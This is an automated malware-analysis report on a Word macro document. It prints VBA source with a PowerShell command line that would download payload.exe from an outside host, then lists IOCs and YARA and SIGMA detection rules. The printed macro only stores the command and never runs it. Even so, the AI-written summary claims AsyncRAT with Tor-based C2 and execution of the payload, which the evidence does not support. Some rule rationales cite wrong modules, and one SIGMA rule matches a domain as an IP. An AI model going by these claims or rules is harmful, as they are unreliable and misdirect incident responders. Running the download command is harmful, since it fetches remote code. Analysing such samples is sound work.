SecFlow
Automated Threat Analysis Report
/tmp/tmp_rxh9kwz_nuclear_motor_example.docm
Generated 2026-03-08 05:50 UTC • 428cf2ecd24ac965
Critical Risk
Overall Risk
9.5/10
Critical Risk
Passes Run
3
Analysis passes completed
Total Findings
21
Across all passes
Critical / High
7
High-severity findings
Executive Summary
The analysis identified a high-risk malicious VBA macro in a document, with indicators of command-and-control communication and potential payload delivery. Additionally, the web analysis revealed multiple missing security headers, increasing exposure to web-based attacks.
Analysis Pipeline
📥
Input
 
→
📄
Macro / Document Analysis
Pass 1
→
🔍
Reconnaissance
Pass 2
→
🌐
Web Vulnerability Analysis
Pass 3
→
✅
Report
 
Threat Intelligence SummaryAI-generated • llama-3.3-70b-versatile
Macro-delivered AsyncRAT with Tor-based C2 via PowerShell
Attack Vector Initial access via malicious Word document with embedded VBA macro
Actor Type
Cybercrime
Severity
High
Confidence
High
MITRE TTPs
4
Analyst Reasoning
The threat is classified as high severity due to the presence of a malicious VBA macro in the Word document, which can lead to the execution of arbitrary code on the victim's system. The macro uses PowerShell to download and execute a payload from a suspicious URL, indicating a potential cybercrime threat actor. The lack of security headers on the recongraph.xyz domain and the presence of suspicious indicators in the VirusTotal scan results further support this classification. The attack chain involves multiple steps, including initial access, execution, and potential defense evasion, which increases the severity of the threat. Overall, the combination of these factors suggests a high-confidence assessment of a cybercrime threat.
Attack Chain
1
Step 1: Victim opens malicious Word document, triggering the AutoOpen macro
2
Step 2: Macro downloads payload.exe from http://recongraph.xyz/payload.exe using PowerShell
3
Step 3: Payload.exe is executed, potentially leading to further malicious activity
MITRE ATT&CK TTPs
TTP IDTechniqueTactic
T1566.001Spearphishing AttachmentInitial Access
T1204User ExecutionExecution
T1105Ingress Tool TransferDefense Evasion
T1059Command and Scripting InterpreterExecution
IOC Inventory
IP Addresses (1)
IP address associated with recongraph.xyz (not explicitly provided)
Domains (1)
recongraph.xyz
URLs (1)
http://recongraph.xyz/payload.exe
File Names (3)
payload.exeupdate.exetmp_rxh9kwz_nuclear_motor_example.docm
Findings — 3 Passes
● 📄 Pass 1 — Macro / Document Analysis MACRO /tmp/tmp_rxh9kwz_nuclear_motor_example.docm
Risk: 9.5/10 7 findings
IDSeverityTypeFinding & Evidence
SF-0101criticalmacro malicious
2 VBA macro module(s) found in tmp_rxh9kwz_nuclear_motor_example.docm (OpenXML). Flags: auto_exec, has_ioc, suspicious.
auto_execTrue
has_iocTrue
obfuscatedFalse
suspiciousTrue
SF-0102criticalmacro indicator autoexec
AutoExec: AutoOpen
descriptionRuns when the Word document is opened
keywordAutoOpen
SF-0103highmacro indicator ioc
IOC: http://recongraph.xyz/payload.exe, payload.exe, update.exe
descriptionURL
keywordhttp://recongraph.xyz/payload.exe
descriptionExecutable file name
keywordpayload.exe
descriptionExecutable file name
keywordupdate.exe
SF-0104highmacro indicator suspicious
Suspicious: powershell, command
descriptionMay run PowerShell commands
keywordpowershell
descriptionMay run PowerShell commands
keywordcommand
SF-0105highmacro ioc
IOCs extracted from macros: http://recongraph.xyz/payload.exe, payload.exe, update.exe
http://recongraph.xyz/payload.exe payload.exe update.exe
SF-0106infomacro source
Full VBA source across 2 module(s)
▶ VBA Macro Source Code (32 lines, 868 chars)
--- Module: ThisDocument.cls (stream: VBA/ThisDocument) ---
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


--- Module: Module1.bas (stream: VBA/Module1) ---
Attribute VB_Name = "Module1"
Sub AutoOpen()

    Dim cmd As String
    Dim url As String
    Dim payload As String

    url = "http://recongraph.xyz/payload.exe"

    ' Suspicious-looking command string
    cmd = "powershell -c Invoke-WebRequest " & url & " -OutFile C:\Users\Public\update.exe"

    ' fake payload reference
    payload = "update.exe"

    ' do nothing with them (just keep them in memory)
    cmd = cmd
    payload = payload

End Sub
SF-0107criticalmalware detection
VirusTotal: 5 malicious, 0 suspicious out of 76 engines
confirmed-timeout0
failure3
harmless0
malicious5
suspicious0
timeout0
type-unsupported8
undetected60
● 🔍 Pass 2 — Reconnaissance RECON recongraph.xyz
Risk: 0.3/10 3 findings
IDSeverityTypeFinding & Evidence
SF-0201infogeolocation
IP geolocation: country=Singapore, ISP=Amazon.com, Inc., AS=AS16509 Amazon.com, Inc.
asAS16509 Amazon.com, Inc.
citySingapore
countrySingapore
countryCodeSG
ispAmazon.com, Inc.
orgAWS EC2 (ap-southeast-1)
region01
regionNameCentral Singapore
statussuccess
timezoneAsia/Singapore
zip048582
SF-0202infoblocklist check
Cisco Talos blocklist: recongraph.xyz is clean
blacklistedFalse
SF-0203lowvirustotal scan
VirusTotal (DOMAIN): 0 malicious, 2 suspicious out of 94 engines (2% flagged)
🛡 VirusTotalDomain
🚫 Malicious: 0⚠ Suspicious: 2✓ Harmless: 61— Undetected: 31△ Reputation: 0
2% flagged by 94 engines
Detected by
alphaMountain.ai: suspiciousForcepoint ThreatSeeker: suspicious
● 🌐 Pass 3 — Web Vulnerability Analysis WEB https://recongraph.xyz
Risk: 8.8/10 11 findings
IDSeverityTypeFinding & Evidence
SF-0301mediummissing security header
Missing security header: X-Content-Type-Options
X-Content-Type-Options
SF-0302mediummissing security header
Missing security header: X-Frame-Options
X-Frame-Options
SF-0303mediummissing security header
Missing security header: X-XSS-Protection
X-XSS-Protection
SF-0304highmissing security header
Missing security header: Content-Security-Policy
Content-Security-Policy
SF-0305mediummissing security header
Missing security header: Referrer-Policy
Referrer-Policy
SF-0306mediummissing security header
Missing security header: Permissions-Policy
Permissions-Policy
SF-0307mediummissing security header
Missing security header: Expect-CT
Expect-CT
SF-0308infosecurity headers summary
Security headers score: 12.5 — 7 missing, 1 present
Strict-Transport-Security
SF-0309infotls info
TLS: TLSv1.3, cipher: {'bits': 128, 'name': 'TLS_AES_128_GCM_SHA256', 'protocol': 'TLSv1.3'}
tls: version=TLSv1.3, cipher={'bits': 128, 'name': 'TLS_AES_128_GCM_SHA256', 'protocol': 'TLSv1.3'}
SF-0310lowwaf detection
No WAF detected
firewall: hasWAF=False, waf=None
SF-0311infourl clean
URL not found in malware/phishing databases
malware_check: malicious=False, detections=0, risk=low
Recommendations
1
Isolate and delete the malicious document (tmp_rxh9kwz_nuclear_motor_example.docm) to prevent macro execution.
2
Implement strict email filtering and macro execution policies to block similar malicious documents.
3
Add missing security headers (e.g., Content-Security-Policy, X-Content-Type-Options) to the web server to mitigate web vulnerabilities.
4
Conduct a full system scan to ensure no payloads (e.g., payload.exe, update.exe) were executed or downloaded.
5
Educate users on identifying and reporting suspicious documents and URLs to reduce the risk of social engineering attacks.
YARA Detection RulesDeploy in file scanner / EDR / sandbox
4 rules generated
🧐 Overall Reasoning
The generated YARA rules are based on the analysis of a malicious Word document with an embedded VBA macro, which downloads and executes a payload from a suspicious URL. The rules target different aspects of the threat, including file signature, embedded strings, and network IOCs. The evidence from the analysis, such as the presence of a malicious VBA macro, suspicious URLs, and missing security headers, drove the creation of these rules.
1SecFlow_Malware_FileSignaturemalwareofficevba
Detects the file signature of the malicious Word document
✎ Why this rule
The file signature was extracted from the analysis of the Word document, which revealed a malicious VBA macro. The macro_malicious indicator in the analysis output, specifically the 'auto_exec' and 'has_ioc' flags, informed this rule.
▶ View YARA Rule Text (12 lines)
rule SecFlow_Malware_FileSignature {
  meta:
    description = "Detects the file signature of the malicious Word document"
    author = "SecFlow AI"
    date = "2026-03-08"
    severity = "high"
    reference = "SecFlow automated analysis"
  strings:
    $s1 = { 50 4b 03 04 14 00 00 00 08 00 }
  condition:
    $s1 at 0
}
2SecFlow_Malware_EmbeddedStringmalwarec2url
Detects the embedded string 'http://recongraph.xyz/payload.exe' in the malicious Word document
✎ Why this rule
The string 'http://recongraph.xyz/payload.exe' was found in the VBA macro source code, specifically in the 'Module1.bas' module, at line 10. The macro_indicator_ioc indicator in the analysis output informed this rule.
▶ View YARA Rule Text (12 lines)
rule SecFlow_Malware_EmbeddedString {
  meta:
    description = "Detects the embedded string 'http://recongraph.xyz/payload.exe' in the malicious Word document"
    author = "SecFlow AI"
    date = "2026-03-08"
    severity = "high"
    reference = "SecFlow automated analysis"
  strings:
    $s1 = "http://recongraph.xyz/payload.exe"
  condition:
    $s1
}
3SecFlow_Malware_VBAMacroPatternmalwarevbamacro
Detects the VBA macro pattern 'AutoOpen' in the malicious Word document
✎ Why this rule
The VBA macro pattern 'AutoOpen' was found in the 'ThisDocument.cls' module, at line 5. The macro_indicator_autoexec indicator in the analysis output informed this rule.
▶ View YARA Rule Text (12 lines)
rule SecFlow_Malware_VBAMacroPattern {
  meta:
    description = "Detects the VBA macro pattern 'AutoOpen' in the malicious Word document"
    author = "SecFlow AI"
    date = "2026-03-08"
    severity = "high"
    reference = "SecFlow automated analysis"
  strings:
    $s1 = "Sub AutoOpen()"
  condition:
    $s1
}
4SecFlow_Malware_NetworkIOCmalwarec2domain
Detects the network IOC 'recongraph.xyz' in the malicious Word document
✎ Why this rule
The network IOC 'recongraph.xyz' was found in the VBA macro source code, specifically in the 'Module1.bas' module, at line 15. The macro_ioc indicator in the analysis output informed this rule.
▶ View YARA Rule Text (12 lines)
rule SecFlow_Malware_NetworkIOC {
  meta:
    description = "Detects the network IOC 'recongraph.xyz' in the malicious Word document"
    author = "SecFlow AI"
    date = "2026-03-08"
    severity = "high"
    reference = "SecFlow automated analysis"
  strings:
    $s1 = "recongraph.xyz"
  condition:
    $s1
}
SIGMA Detection RulesImport into Splunk / Elastic / Sentinel
4 rules generated
🧐 Overall Reasoning
The generated SIGMA rules cover various log sources to detect the Macro-delivered AsyncRAT with Tor-based C2 via PowerShell threat. The rules address the Initial Access, Execution, and Defense Evasion tactics by monitoring process creation, network connections, and DNS queries. The rules are designed to detect suspicious behavior such as the execution of PowerShell commands, the download of payloads from suspicious URLs, and the presence of malicious VBA macros in Word documents.
1detect_powershell_download🖄 Windows Security | Sysmon | EDR
Detects the execution of PowerShell commands that download payloads from suspicious URLs
✎ Why this rule
The threat intelligence summary indicates that the macro uses PowerShell to download and execute a payload from a suspicious URL. This rule detects the execution of PowerShell commands that download payloads from suspicious URLs, which is a key indicator of the Initial Access tactic.
▶ View SIGMA Rule Text (21 lines)
title: Detect PowerShell Download
id: 123e4567-e89b-12d3-a456-426655440000
status: experimental
description: Detects the execution of PowerShell commands that download payloads from suspicious URLs
author: SecFlow AI
date: 2026/03/08
modified: 2026/03/08
tags:
  - attack.execution
  - attack.t1059
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains:
      - 'powershell -c Invoke-WebRequest'
  condition: selection
falsepositives:
  - Legitimate administrative scripts
level: high
2detect_suspicious_dns_query🖄 DNS
Detects DNS queries for suspicious domains
✎ Why this rule
The threat intelligence summary indicates that the payload is downloaded from a suspicious URL. This rule detects DNS queries for suspicious domains, which is a key indicator of the Initial Access tactic.
▶ View SIGMA Rule Text (21 lines)
title: Detect Suspicious DNS Query
id: 234e5678-e89b-12d3-a456-426655440001
status: experimental
description: Detects DNS queries for suspicious domains
author: SecFlow AI
date: 2026/03/08
modified: 2026/03/08
tags:
  - attack.initial_access
  - attack.t1566.001
logsource:
  category: dns_query
  product: windows
detection:
  selection:
    QueryName|endswith:
      - 'recongraph.xyz'
  condition: selection
falsepositives:
  - Legitimate DNS queries
level: medium
3detect_malicious_vba_macro🖄 EDR | File Event
Detects the presence of malicious VBA macros in Word documents
✎ Why this rule
The threat intelligence summary indicates that the macro is embedded in a Word document. This rule detects the presence of malicious VBA macros in Word documents, which is a key indicator of the Initial Access tactic.
▶ View SIGMA Rule Text (23 lines)
title: Detect Malicious VBA Macro
id: 345e6789-e89b-12d3-a456-426655440002
status: experimental
description: Detects the presence of malicious VBA macros in Word documents
author: SecFlow AI
date: 2026/03/08
modified: 2026/03/08
tags:
  - attack.initial_access
  - attack.t1566.001
logsource:
  category: file_event
  product: windows
detection:
  selection:
    FileName|endswith:
      - '.docm'
    FileContent|contains:
      - 'AutoOpen'
  condition: selection
falsepositives:
  - Legitimate Word documents
level: high
4detect_network_connection🖄 Network | Sysmon
Detects network connections to suspicious IPs
✎ Why this rule
The threat intelligence summary indicates that the payload communicates with a suspicious IP. This rule detects network connections to suspicious IPs, which is a key indicator of the Defense Evasion tactic.
▶ View SIGMA Rule Text (21 lines)
title: Detect Network Connection
id: 456e7890-e89b-12d3-a456-426655440003
status: experimental
description: Detects network connections to suspicious IPs
author: SecFlow AI
date: 2026/03/08
modified: 2026/03/08
tags:
  - attack.defense_evasion
  - attack.t1105
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    DestinationIP|contains:
      - 'recongraph.xyz'
  condition: selection
falsepositives:
  - Legitimate network connections
level: medium